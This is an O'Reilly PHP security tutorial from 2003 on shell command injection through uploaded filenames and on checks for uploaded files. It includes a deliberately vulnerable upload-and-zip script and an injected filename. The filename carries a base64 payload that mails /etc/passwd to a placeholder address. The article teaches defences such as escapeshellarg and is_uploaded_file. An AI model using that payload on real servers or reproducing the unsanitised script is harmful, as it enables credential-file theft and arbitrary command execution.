Published on **The O'Reilly Network** (http://www.oreillynet.com/)
http://www.oreillynet.com/pub/a/php/2003/08/28/php_foundations.html
See this if you're having trouble printing code examples

PHP Security, Part 2

by John Coggeshall
08/28/2003

Welcome back to PHP Foundations. In my previous article, I continued my mini-series on best practices in PHP by introducing you to some of the ways that security can be compromised in your PHP scripts. This article continues that discussion with more examples of potential security holes and the tools and methods you can use to help plug them. Today I'll start by talking about one of the more critical potential security holes in PHP development — writing scripts that make calls to the underlying operating system.

Executing System Calls from PHP

In PHP, there are several different ways to execute system calls. Specifically, the `system()`, `exec()`, `passthru()`, `popen()`, and the backtick (`) operator all allow you to execute operating-system commands from within your scripts. Each of these functions can also, if used improperly, provide a wide-open door for a malicious user to execute system commands on your server. As was the case when accessing files, most of the time these security holes occur when a system command is being executed based on input from an insecure outside source.

An Example Script Using a System Call

Consider a script that processes a file uploaded through HTTP, compresses the file with the `zip` utility, and moves it to a specified directory (*/usr/local/archives/*, by default). Here's the code:

```
<?php
    $zip        = "/usr/bin/zip";
    $store_path = "/usr/local/archives/";

    if (isset($_FILES['file'])) {
        $tmp_name = $_FILES['file']['tmp_name'];
        $cmp_name = dirname($_FILES['file']['tmp_name']) .
            "/{$_FILES['file']['name']}.zip";
        $filename = basename($cmp_name);

        if (file_exists($tmp_name)) {
            $systemcall = "$zip $cmp_name $tmp_name";
            $output     = `$systemcall`;

            if (file_exists($cmp_name)) {
                $savepath = $store_path.$filename;
                rename($cmp_name, $savepath);
            }
        }
    }
?>

<form enctype="multipart/form-data" action="<?
    php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
```

Although this script seems fairly straightforward, there are several ways a malicious user can take advantage of it. The most serious concern lies in the way we have executed the compression command (the backtick operator), specifically the following lines:

```
if (isset($_FILES['file'])) {
    $tmp_name = $_FILES['file']['tmp_name'];
    $cmp_name = dirname($_FILES['file']['tmp_name']) .
        "/{$_FILES['file']['name']}.zip";

    $filename = basename($cmp_name);

    if (file_exists($tmp_name)) {
        $systemcall = "$zip $cmp_name $tmp_name";
        $output = `$systemcall`;
 ...
```

Tricking the Script Into Executing Arbitrary Shell Commands

Although this code seems fairly harmless, it has the potential to allow any user who has access to upload a file to execute any shell command! This security leak comes specifically from the assignment of the `$cmp_name` variable. Since in this particular case it was desired that the compressed file maintain the original name as it was uploaded from the client machine (with a `.zip` extension), `$_FILES['file']['name']` has been used (which contains the filename as it was on the client machine). In this case, a malicious user could completely circumvent the purpose of this script by uploading a filename containing special meta-characters that have special meanings to the underlying operating system. For example, what if the user had created an empty file in the following fashion (from a UNIX shell prompt)?

```
[user@localhost]# touch ";php -r '\$code=base64_decode(\\
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\\\");
system(\$code);';"
```

This command would create a filename whose name was as follows:

```
;php -r '$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';
```

Seem strange? Well looking at this "filename," we can say that it resembles the command used to execute the CLI version of PHP to execute the following code:

```
<?php
```

```
$code=base64_decode(
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);
?>
```

For curiosity's sake, if you were to echo the contents of the `$code` variable, you would see that it contains `mail baduser@somewhere.com < /etc/passwd`. If the user were to upload this file to the PHP script, when PHP goes to execute the system call to compress the file, PHP will really be executing the following statement:

```
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';.zip /tmp/phpY4iatI
```

Surprisingly enough, the above command is not a single statement, but rather three statements! Since UNIX shells interpret the semicolon character (`;`) to mean the end of one shell command and the start of another, as long as it is not in quotes, the PHP `system()` call actually performs:

```
[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
```

As you can see, this seemingly harmless PHP script has suddenly become an open door to execute arbitrary shell commands — including the execution of other PHP scripts! Although this particular example would only work on systems where the user that the web server runs as has the CLI version of PHP in the path (which it shouldn't), this technique can be used in other ways to accomplish the same result.

Protecting Against System -Call Attacks

The point here, again, is that input from the user, no matter the context, should never be trusted! The question still remains as to how to avoid similar situations when working with system calls (short of never using them at all). To combat these types of attacks, PHP provides two functions, `escapeshellarg()` and `escapeshellcmd()`.

The `escapeshellarg()` function is designed to remove or otherwise eliminate any potentially harmful characters received from user input for use as arguments to system commands (in our case, the `zip` command). The syntax for this function is as follows:

```
escapeshellarg($string)
```

where `$string` is the input to clean, and the return value is the cleaned string. When executed, this function will add single quotes around the string and escape (add a slash in front of) any single quotes that exist in the string. In our example script, if we had added these lines prior to executing the system command:

```
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
```

we could have avoided this gaping security risk by ensuring that the argument passed to the system call would be treated only as an argument, regardless of the user input.

`escapeshellcmd()` is similar to its counterpart, except it will only escape characters that have a special meaning to the underlying operating system. Unlike `escapeshellarg()`, `escapeshellcmd()` will not deal with input that contains white space. For instance, when escaped using `escapeshellcmd()`, the string

```
$string = "'hello, world!';evilcommand"
```

will become:

```
\'hello, world\'\;evilcommand
```

This can still cause undesirable results if the string is used as an argument for a system call, because the shell will interpret it as two separate arguments: `\'hello` and `world\'\;evilcommand`, respectively. If user input will be used as part of the argument list for a system call, the `escapeshellarg()` function is always the better choice.

Protecting Uploaded Files

During the entire length of this article I have focused solely on how system calls can be hijacked to produce undesirable results by a malicious user. However, there is still another potential security risk in this script worth mentioning. Look back at our example script and direct your attention to the following lines:

```
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
    "/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
```

The line of code in the above snippet that poses a potential security risk is the very last line where we determine if the uploaded file (stored under a temporary name, `$tmp_name`) actually exists. The security risk does not come from PHP itself, but rather the possibility that the filename stored within `$tmp_name` isn't actually a file that was uploaded at all, but instead somehow points to a file a malicious user would like to access, say, */etc/passwd*. To prevent situations like this, PHP provides the function `is_uploaded_file()`, which is identical to the `file_exists()` function, except that it also provides an additional check to ensure that the file is actually the one uploaded from the client machine.

Since under most circumstances, you will need to move the file that has been uploaded, PHP provides the `move_uploaded_file()` function to complement `is_uploaded_file()`. This function works identically to the `rename()` function for moving files, except that it will automatically check to ensure the file being moved is an uploaded file before executing. The syntax for `move_uploaded_file()` is as follows:

```
move_uploaded_file($filename, $destination);
```

When executed, the function will move uploaded file `$filename` to the destination `$destination` and return a Boolean value indicating if the operation was successful.

More To Come Soon

So concludes another installment of PHP Foundations. As you can see, there are many tricks and techniques that can be employed to take advantage of PHP scripts. Thankfully, PHP provides a number of functions (such as those shown in today's article) to help ensure that your code remains as secure as possible. Although I have repeated this many times, it all comes down to never trusting input from an outside source. In my next issue I will discuss two important pieces to the security puzzle — error reporting and logging in your PHP scripts. See you then.

John Coggeshall is a a PHP consultant and author who started losing sleep over PHP around five years ago.

Read more ***PHP Foundations*** *columns*.

Return to the PHP DevCenter.